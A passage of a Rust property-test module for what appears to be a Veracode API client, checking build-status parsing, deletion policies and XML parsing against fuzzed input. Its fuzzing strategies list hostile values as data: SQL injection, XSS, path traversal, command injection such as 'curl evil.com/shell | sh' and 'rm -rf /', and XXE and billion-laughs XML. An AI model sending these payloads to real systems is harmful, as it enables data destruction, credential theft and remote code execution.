1388 );
1389 assert_eq!(
1390 BuildStatus::from_string("Unknown Status"),
1391 BuildStatus::Unknown("Unknown Status".to_string())
1392 );
1393 }
1394
1395 #[test]
1396 fn test_build_status_to_str() {
1397 assert_eq!(BuildStatus::Incomplete.to_str(), "Incomplete");
1398 assert_eq!(BuildStatus::ResultsReady.to_str(), "Results Ready");
1399 assert_eq!(BuildStatus::PreScanFailed.to_str(), "Pre-Scan Failed");
1400 assert_eq!(
1401 BuildStatus::Unknown("Custom".to_string()).to_str(),
1402 "Custom"
1403 );
1404 }
1405
1406 #[test]
1407 fn test_build_status_deletion_policy_0() {
1408 assert!(!BuildStatus::Incomplete.is_safe_to_delete(0));
1410 assert!(!BuildStatus::ResultsReady.is_safe_to_delete(0));
1411 assert!(!BuildStatus::Failed.is_safe_to_delete(0));
1412 }
1413
1414 #[test]
1415 fn test_build_status_deletion_policy_1() {
1416 assert!(BuildStatus::Incomplete.is_safe_to_delete(1));
1418 assert!(BuildStatus::NotSubmitted.is_safe_to_delete(1));
1419 assert!(BuildStatus::PreScanFailed.is_safe_to_delete(1));
1420 assert!(BuildStatus::Failed.is_safe_to_delete(1));
1421 assert!(BuildStatus::Cancelled.is_safe_to_delete(1));
1422
1423 assert!(!BuildStatus::ResultsReady.is_safe_to_delete(1));
1425 assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
1426 assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
1427 }
1428
1429 #[test]
1430 fn test_build_status_deletion_policy_2() {
1431 assert!(BuildStatus::Incomplete.is_safe_to_delete(2));
1433 assert!(BuildStatus::Failed.is_safe_to_delete(2));
1434 assert!(BuildStatus::ScanInProcess.is_safe_to_delete(2));
1435 assert!(BuildStatus::PreScanSuccess.is_safe_to_delete(2));
1436
1437 assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
1439 }
1440
1441 #[test]
1442 fn test_build_status_deletion_policy_invalid() {
1443 assert!(!BuildStatus::Incomplete.is_safe_to_delete(3));
1445 assert!(!BuildStatus::Failed.is_safe_to_delete(255));
1446 }
1447}
1448
1449#[cfg(test)]
1450#[allow(clippy::expect_used)] mod proptests {
1452 use super::*;
1453 use proptest::prelude::*;
1454
1455 fn arbitrary_status_string() -> impl Strategy<Value = String> {
1457 prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
1458 .expect("valid regex pattern for arbitrary status string")
1459 }
1460
1461 fn valid_lifecycle_stage_strategy() -> impl Strategy<Value = &'static str> {
1463 prop::sample::select(LIFECYCLE_STAGES)
1464 }
1465
1466 fn invalid_lifecycle_stage_strategy() -> impl Strategy<Value = String> {
1468 prop_oneof![
1469 Just("".to_string()),
1471 Just(" ".to_string()),
1472 Just("in development (pre-alpha)".to_string()),
1474 Just("DEPLOYED".to_string()),
1475 Just("In Development".to_string()),
1477 Just("Deployed ".to_string()),
1478 Just(" Maintenance".to_string()),
1479 Just("'; DROP TABLE builds; --".to_string()),
1481 Just("<script>alert('xss')</script>".to_string()),
1482 Just("../../etc/passwd".to_string()),
1484 Just("..\\..\\windows\\system32".to_string()),
1485 Just("Deployed\0".to_string()),
1487 Just("Maintenance\n\r".to_string()),
1488 Just("Deployed\u{202E}".to_string()), Just("Maintenance\u{FEFF}".to_string()), prop::string::string_regex(".{256,512}").expect("valid regex pattern for long strings"),
1493 ]
1494 }
1495
1496 proptest! {
1497 #![proptest_config(ProptestConfig {
1498 cases: if cfg!(miri) { 5 } else { 1000 },
1499 failure_persistence: None,
1500 .. ProptestConfig::default()
1501 })]
1502
1503 #[test]
1505 fn proptest_valid_lifecycle_stages_always_accepted(
1506 stage in valid_lifecycle_stage_strategy()
1507 ) {
1508 prop_assert!(is_valid_lifecycle_stage(stage));
1509 }
1510
1511 #[test]
1513 fn proptest_invalid_lifecycle_stages_always_rejected(
1514 stage in invalid_lifecycle_stage_strategy()
1515 ) {
1516 prop_assert!(!is_valid_lifecycle_stage(&stage));
1517 }
1518
1519 #[test]
1521 fn proptest_build_status_parsing_never_panics(
1522 status in arbitrary_status_string()
1523 ) {
1524 let result = BuildStatus::from_string(&status);
1525 prop_assert!(matches!(result, BuildStatus::Unknown(_)) ||
1527 matches!(result, BuildStatus::Incomplete) ||
1528 matches!(result, BuildStatus::NotSubmitted) ||
1529 matches!(result, BuildStatus::SubmittedToEngine) ||
1530 matches!(result, BuildStatus::ScanInProcess) ||
1531 matches!(result, BuildStatus::PreScanSubmitted) ||
1532 matches!(result, BuildStatus::PreScanSuccess) ||
1533 matches!(result, BuildStatus::PreScanFailed) ||
1534 matches!(result, BuildStatus::PreScanCancelled) ||
1535 matches!(result, BuildStatus::PrescanFailed) ||
1536 matches!(result, BuildStatus::PrescanCancelled) ||
1537 matches!(result, BuildStatus::ScanCancelled) ||
1538 matches!(result, BuildStatus::ResultsReady) ||
1539 matches!(result, BuildStatus::Failed) ||
1540 matches!(result, BuildStatus::Cancelled));
1541 }
1542
1543 #[test]
1545 fn proptest_build_status_roundtrip_consistency(
1546 status in prop::sample::select(vec![
1547 "Incomplete", "Not Submitted", "Submitted to Engine", "Scan in Process",
1548 "Pre-Scan Submitted", "Pre-Scan Success", "Pre-Scan Failed", "Pre-Scan Cancelled",
1549 "Prescan Failed", "Prescan Cancelled", "Scan Cancelled", "Results Ready",
1550 "Failed", "Cancelled"
1551 ])
1552 ) {
1553 let parsed = BuildStatus::from_string(status);
1554 let back_to_str = parsed.to_str();
1555 prop_assert_eq!(back_to_str, status);
1556 }
1557
1558 #[test]
1560 fn proptest_deletion_policy_0_never_deletes(
1561 status in arbitrary_status_string()
1562 ) {
1563 let build_status = BuildStatus::from_string(&status);
1564 prop_assert!(!build_status.is_safe_to_delete(0));
1565 }
1566
1567 #[test]
1569 fn proptest_deletion_policy_monotonicity(
1570 status in arbitrary_status_string(),
1571 policy1 in 0u8..=2,
1572 policy2 in 0u8..=2
1573 ) {
1574 let build_status = BuildStatus::from_string(&status);
1575
1576 if policy1 <= policy2 && build_status.is_safe_to_delete(policy1) {
1578 prop_assert!(build_status.is_safe_to_delete(policy2));
1579 }
1580 }
1581
1582 #[test]
1584 fn proptest_results_ready_never_deletable(policy in 0u8..=2) {
1585 prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(policy));
1586 }
1587
1588 #[test]
1590 fn proptest_invalid_deletion_policy_safe_default(
1591 status in arbitrary_status_string(),
1592 policy in 3u8..=255
1593 ) {
1594 let build_status = BuildStatus::from_string(&status);
1595 prop_assert!(!build_status.is_safe_to_delete(policy));
1596 }
1597
1598 #[test]
1600 fn proptest_lifecycle_stage_validation_consistency(
1601 stage in prop::string::string_regex(".{0,200}")
1602 .expect("valid regex pattern for lifecycle stage")
1603 ) {
1604 let is_valid = is_valid_lifecycle_stage(&stage);
1605
1606 if is_valid {
1608 prop_assert!(LIFECYCLE_STAGES.contains(&stage.as_str()));
1609 }
1610
1611 if !LIFECYCLE_STAGES.contains(&stage.as_str()) {
1613 prop_assert!(!is_valid);
1614 }
1615 }
1616 }
1617}
1618
1619#[cfg(test)]
1620mod api_request_fuzzing_proptests {
1621 use super::*;
1622 use proptest::prelude::*;
1623
1624 fn malicious_app_id_strategy() -> impl Strategy<Value = String> {
1626 prop_oneof![
1627 Just("'; DROP TABLE apps; --".to_string()),
1629 Just("' OR '1'='1".to_string()),
1630 Just("1 UNION SELECT * FROM users--".to_string()),
1631 Just("<script>alert('xss')</script>".to_string()),
1633 Just("javascript:alert(1)".to_string()),
1634 Just("\"><script>alert(String.fromCharCode(88,83,83))</script>".to_string()),
1635 Just("../../../etc/passwd".to_string()),
1637 Just("..\\..\\..\\windows\\system32\\config\\sam".to_string()),
1638 Just("; rm -rf /".to_string()),
1640 Just("| cat /etc/shadow".to_string()),
1641 Just("& net user hacker password /add".to_string()),
1642 Just("123\0malicious".to_string()),
1644 Just("%s%s%s%s%s%s%s%s%s%s".to_string()),
1646 Just("%n%n%n%n%n".to_string()),
1647 Just("*)(uid=*))(|(uid=*".to_string()),
1649 Just("{\"$ne\": null}".to_string()),
1651 Just("{\"$gt\": \"\"}".to_string()),
1652 Just("".to_string()),
1654 Just(" ".to_string()),
1655 prop::string::string_regex(".{1000,5000}")
1657 .expect("valid regex pattern for very long strings"),
1658 Just("\u{FEFF}123".to_string()), Just("123\u{200B}".to_string()), Just("\u{202E}123\u{202D}".to_string()), Just("123\r\n456".to_string()),
1664 Just("123\t456\n789".to_string()),
1665 ]
1666 }
1667
1668 fn malicious_version_strategy() -> impl Strategy<Value = String> {
1670 prop_oneof![
1671 Just("../../../etc/passwd".to_string()),
1673 Just("..\\..\\..\\windows\\system32".to_string()),
1674 Just("1.0.0; curl evil.com/shell | sh".to_string()),
1676 Just("1.0`whoami`".to_string()),
1677 Just("1.0$(reboot)".to_string()),
1678 Just("<img src=x onerror=alert(1)>".to_string()),
1680 prop::string::string_regex(".{500,1000}")
1682 .expect("valid regex pattern for long version strings"),
1683 Just("\0\0\0".to_string()),
1685 Just("'\"\\n\\r\\t".to_string()),
1686 Just("\u{FEFF}1.0.0".to_string()),
1688 ]
1689 }
1690
1691 fn malicious_date_strategy() -> impl Strategy<Value = String> {
1693 prop_oneof![
1694 Just("2024-13-45".to_string()), Just("99/99/9999".to_string()),
1697 Just("00/00/0000".to_string()),
1698 Just("12/31/2024'; DROP TABLE dates; --".to_string()),
1700 Just("%s%s%s%s".to_string()),
1702 Just("12/31/2024; cat /etc/passwd".to_string()),
1704 prop::string::string_regex(".{100,500}")
1706 .expect("valid regex pattern for long date strings"),
1707 Just("-1/-1/-1".to_string()),
1709 Just("99999999/99999999/99999999".to_string()),
1711 ]
1712 }
1713
1714 proptest! {
1715 #![proptest_config(ProptestConfig {
1716 cases: if cfg!(miri) { 5 } else { 500 },
1717 failure_persistence: None,
1718 .. ProptestConfig::default()
1719 })]
1720
1721 #[test]
1723 fn proptest_create_build_request_malicious_input_safety(
1724 app_id in malicious_app_id_strategy(),
1725 version in malicious_version_strategy(),
1726 launch_date in malicious_date_strategy()
1727 ) {
1728 let request = CreateBuildRequest {
1730 app_id: app_id.clone(),
1731 version: Some(version.clone()),
1732 lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1733 launch_date: Some(launch_date.clone()),
1734 sandbox_id: None,
1735 };
1736
1737 prop_assert_eq!(request.app_id, app_id);
1739 prop_assert_eq!(request.version, Some(version));
1740 prop_assert_eq!(request.launch_date, Some(launch_date));
1741 }
1742
1743 #[test]
1745 fn proptest_update_build_request_malicious_input_safety(
1746 app_id in malicious_app_id_strategy(),
1747 build_id in malicious_app_id_strategy(),
1748 version in malicious_version_strategy()
1749 ) {
1750 let request = UpdateBuildRequest {
1751 app_id: app_id.clone(),
1752 build_id: Some(build_id.clone()),
1753 version: Some(version.clone()),
1754 lifecycle_stage: None,
1755 launch_date: None,
1756 sandbox_id: None,
1757 };
1758
1759 prop_assert_eq!(request.app_id, app_id);
1760 prop_assert_eq!(request.build_id, Some(build_id));
1761 prop_assert_eq!(request.version, Some(version));
1762 }
1763
1764 #[test]
1766 fn proptest_delete_build_request_malicious_input_safety(
1767 app_id in malicious_app_id_strategy(),
1768 sandbox_id in malicious_app_id_strategy()
1769 ) {
1770 let request = DeleteBuildRequest {
1771 app_id: app_id.clone(),
1772 sandbox_id: Some(sandbox_id.clone()),
1773 };
1774
1775 prop_assert_eq!(request.app_id, app_id);
1776 prop_assert_eq!(request.sandbox_id, Some(sandbox_id));
1777 }
1778
1779 #[test]
1781 fn proptest_lifecycle_stage_rejects_malicious_input(
1782 malicious_stage in prop_oneof![
1783 malicious_app_id_strategy(),
1784 malicious_version_strategy(),
1785 Just("'; DROP TABLE stages; --".to_string()),
1786 Just("<script>alert('xss')</script>".to_string()),
1787 ]
1788 ) {
1789 let is_valid = is_valid_lifecycle_stage(&malicious_stage);
1792
1793 if is_valid {
1794 prop_assert!(LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1796 } else {
1797 prop_assert!(!LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1799 }
1800 }
1801
1802 #[test]
1804 fn proptest_build_structure_malicious_attributes(
1805 key in malicious_version_strategy(),
1806 value in malicious_app_id_strategy()
1807 ) {
1808 let mut build = Build {
1809 build_id: "123".to_string(),
1810 app_id: "456".to_string(),
1811 version: None,
1812 app_name: None,
1813 sandbox_id: None,
1814 sandbox_name: None,
1815 lifecycle_stage: None,
1816 launch_date: None,
1817 submitter: None,
1818 platform: None,
1819 analysis_unit: None,
1820 policy_name: None,
1821 policy_version: None,
1822 policy_compliance_status: None,
1823 rules_status: None,
1824 grace_period_expired: None,
1825 scan_overdue: None,
1826 policy_updated_date: None,
1827 legacy_scan_engine: None,
1828 attributes: HashMap::new(),
1829 };
1830
1831 build.attributes.insert(key.clone(), value.clone());
1833
1834 prop_assert_eq!(build.attributes.get(&key), Some(&value));
1836 }
1837
1838 #[test]
1840 fn proptest_build_error_display_safety(
1841 msg in malicious_app_id_strategy()
1842 ) {
1843 let errors = vec![
1844 BuildError::InvalidParameter(msg.clone()),
1845 BuildError::CreationFailed(msg.clone()),
1846 BuildError::UpdateFailed(msg.clone()),
1847 BuildError::DeletionFailed(msg.clone()),
1848 BuildError::XmlParsingError(msg.clone()),
1849 ];
1850
1851 for error in errors {
1852 let _ = error.to_string();
1854 let _ = format!("{error}");
1855 }
1856 }
1857
1858 #[test]
1860 fn proptest_build_status_unknown_variant_safety(
1861 arbitrary_status in malicious_app_id_strategy()
1862 ) {
1863 let status = BuildStatus::Unknown(arbitrary_status.clone());
1864
1865 let str_repr = status.to_str();
1867 prop_assert_eq!(str_repr, arbitrary_status.as_str());
1868
1869 let _ = status.to_string();
1871 let _ = format!("{status}");
1872
1873 let _ = status.is_safe_to_delete(0);
1875 let _ = status.is_safe_to_delete(1);
1876 let _ = status.is_safe_to_delete(2);
1877 }
1878 }
1879}
1880
1881#[cfg(test)]
1882mod xml_parsing_proptests {
1883 use super::*;
1884 use crate::{VeracodeClient, VeracodeConfig};
1885 use proptest::prelude::*;
1886
1887 fn malicious_xml_strategy() -> impl Strategy<Value = String> {
1889 prop_oneof![
1890 Just(r#"<?xml version="1.0"?>
1892<!DOCTYPE lolz [
1893 <!ENTITY lol "lol">
1894 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
1895]>
1896<build build_id="&lol2;" app_id="123"/>"#.to_string()),
1897
1898 Just(r#"<?xml version="1.0"?>
1900<!DOCTYPE build [
1901 <!ENTITY xxe SYSTEM "file:///etc/passwd">
1902]>
1903<build build_id="&xxe;" app_id="123"/>"#.to_string()),
1904
1905 Just("<build build_id=\"123\" app_id=\"456\"".to_string()),
1907 Just("<build build_id=\"123\"><invalid></build>".to_string()),
1908
1909 Just(r#"<build build_id="<script>alert('xss')</script>" app_id="123"/>"#.to_string()),
1911 Just(r#"<build build_id="123" version="<script>alert('xss')</script>"/>"#.to_string()),
1912
1913 Just(r#"<build build_id="'; DROP TABLE builds; --" app_id="123"/>"#.to_string()),
1915
1916 Just(r#"<build build_id="../../etc/passwd" app_id="123"/>"#.to_string()),
1918
1919 Just("<build build_id=\"123\0\" app_id=\"456\"/>".to_string()),
1921 Just("<build build_id=\"123\r\n\" app_id=\"456\"/>".to_string()),
1922
1923 Just("<build build_id=\"123\u{202E}\" app_id=\"456\"/>".to_string()),
1925
1926 Just("<build/>".to_string()),
1928 Just("<build build_id=\"\"/>".to_string()),
1929 Just("<build app_id=\"\"/>".to_string()),
1930
1931 Just("<a><b><c><d><e><f><g><h><i><j><build build_id=\"123\" app_id=\"456\"/></j></i></h></g></f></e></d></c></b></a>".to_string()),
1933
1934 prop::string::string_regex(".{1000,2000}")
1936 .expect("valid regex pattern for very long XML attributes")
1937 .prop_map(|s| format!(r#"<build build_id="{s}" app_id="123"/>"#)),
1938 ]
1939 }
1940
1941 proptest! {
1942 #![proptest_config(ProptestConfig {
1943 cases: if cfg!(miri) { 5 } else { 500 },
1944 failure_persistence: None,
1945 .. ProptestConfig::default()
1946 })]
1947
1948 #[test]
1950 fn proptest_xml_parsing_never_panics_on_malicious_input(
1951 xml in malicious_xml_strategy()
1952 ) {
1953 let config = VeracodeConfig::new("test_id", "test_key");
1954 let client = VeracodeClient::new(config)
1955 .expect("valid test client configuration");
1956 let api = BuildApi::new(client);
1957
1958 let result = api.parse_build_info(&xml);
1960 prop_assert!(result.is_ok() || result.is_err());
1961 }
1962
1963 #[test]
1965 fn proptest_xml_error_handling(
1966 error_msg in prop::string::string_regex(".{1,200}")
1967 .expect("valid regex pattern for error messages")
1968 ) {
1969 let xml = format!("<error>{error_msg}</error>");
1970 let config = VeracodeConfig::new("test_id", "test_key");
1971 let client = VeracodeClient::new(config)
1972 .expect("valid test client configuration");
1973 let api = BuildApi::new(client);
1974
1975 let result = api.parse_build_info(&xml);
1976
1977 prop_assert!(result.is_err());
1979 }
1980
1981 #[test]
1984 fn proptest_minimal_valid_xml_parsing(
1985 build_id in "[0-9]{1,10}",
1986 app_id in "[0-9]{1,10}"
1987 ) {
1988 let xml = format!(r#"<build build_id="{build_id}" app_id="{app_id}"></build>"#);
1989 let config = VeracodeConfig::new("test_id", "test_key");
1990 let client = VeracodeClient::new(config)
1991 .expect("valid test client configuration");
1992 let api = BuildApi::new(client);
1993
1994 let result = api.parse_build_info(&xml);
1995
1996 prop_assert!(result.is_ok());
1997 if let Ok(build) = result {
1998 prop_assert_eq!(build.build_id, build_id);
1999 prop_assert_eq!(build.app_id, app_id);
2000 }
2001 }
2002
2003 #[test]
2005 fn proptest_empty_build_list_parsing(
2006 app_id in "[0-9]{1,10}"
2007 ) {
2008 let xml = format!(r#"<buildlist app_id="{app_id}"></buildlist>"#);
2009 let config = VeracodeConfig::new("test_id", "test_key");
2010 let client = VeracodeClient::new(config)
2011 .expect("valid test client configuration");
2012 let api = BuildApi::new(client);
2013
2014 let result = api.parse_build_list(&xml);
2015
2016 prop_assert!(result.is_ok());
2017 if let Ok(build_list) = result {
2018 prop_assert_eq!(build_list.app_id, app_id);
2019 prop_assert_eq!(build_list.builds.len(), 0);
2020 }
2021 }
2022
2023 #[test]
2025 fn proptest_date_parsing_safety(
2026 date_str in prop::string::string_regex(".{0,100}")
2027 .expect("valid regex pattern for date strings")
2028 ) {
2029 use chrono::NaiveDate;
2031 let _ = NaiveDate::parse_from_str(&date_str, "%m/%d/%Y");
2032 }
2034
2035 #[test]
2037 fn proptest_boolean_parsing_safety(
2038 bool_str in prop::string::string_regex(".{0,50}")
2039 .expect("valid regex pattern for boolean strings")
2040 ) {
2041 let _ = bool_str.parse::<bool>();
2043 }
2045 }
2046}
2047
2048#[cfg(test)]
2049#[allow(clippy::expect_used)] mod deletion_safety_proptests {
2051 use super::*;
2052 use proptest::prelude::*;
2053
2054 proptest! {
2055 #![proptest_config(ProptestConfig {
2056 cases: if cfg!(miri) { 5 } else { 1000 },
2057 failure_persistence: None,
2058 .. ProptestConfig::default()
2059 })]
2060
2061 #[test]
2063 fn proptest_policy_1_only_deletes_safe_states(
2064 status_str in prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
2065 .expect("valid regex pattern for status strings")
2066 ) {
2067 let status = BuildStatus::from_string(&status_str);
2068 let is_deletable = status.is_safe_to_delete(1);
2069
2070 if is_deletable {
2072 prop_assert!(matches!(
2073 status,
2074 BuildStatus::Incomplete
2075 | BuildStatus::NotSubmitted
2076 | BuildStatus::PreScanFailed
2077 | BuildStatus::PreScanCancelled
2078 | BuildStatus::PrescanFailed
2079 | BuildStatus::PrescanCancelled
2080 | BuildStatus::ScanCancelled
2081 | BuildStatus::Failed
2082 | BuildStatus::Cancelled
2083 ));
2084 }
2085 }
2086
2087 #[test]
2089 fn proptest_policy_2_never_deletes_results_ready(
2090 _dummy in 0u8..1 ) {
2092 prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
2093 }
2094
2095 #[test]
2097 fn proptest_unknown_status_safe_default_policy_1(
2098 unknown_status in prop::string::string_regex("[A-Za-z0-9 ]{1,100}")
2099 .expect("valid regex pattern for unknown status strings")
2100 .prop_filter("Must not match known statuses", |s| {
2101 !matches!(s.as_str(),
2102 "Incomplete" | "Not Submitted" | "Submitted to Engine" | "Scan in Process" |
2103 "Pre-Scan Submitted" | "Pre-Scan Success" | "Pre-Scan Failed" | "Pre-Scan Cancelled" |
2104 "Prescan Failed" | "Prescan Cancelled" | "Scan Cancelled" | "Results Ready" |
2105 "Failed" | "Cancelled"
2106 )
2107 })
2108 ) {
2109 let status = BuildStatus::from_string(&unknown_status);
2110
2111 prop_assert!(!status.is_safe_to_delete(1));
2113 }
2114
2115 #[test]
2117 fn proptest_scan_in_process_not_deletable_policy_1(
2118 _dummy in 0u8..1
2119 ) {
2120 prop_assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
2121 }
2122
2123 #[test]
2125 fn proptest_prescan_success_not_deletable_policy_1(
2126 _dummy in 0u8..1
2127 ) {
2128 prop_assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
2129 }
2130 }
2131}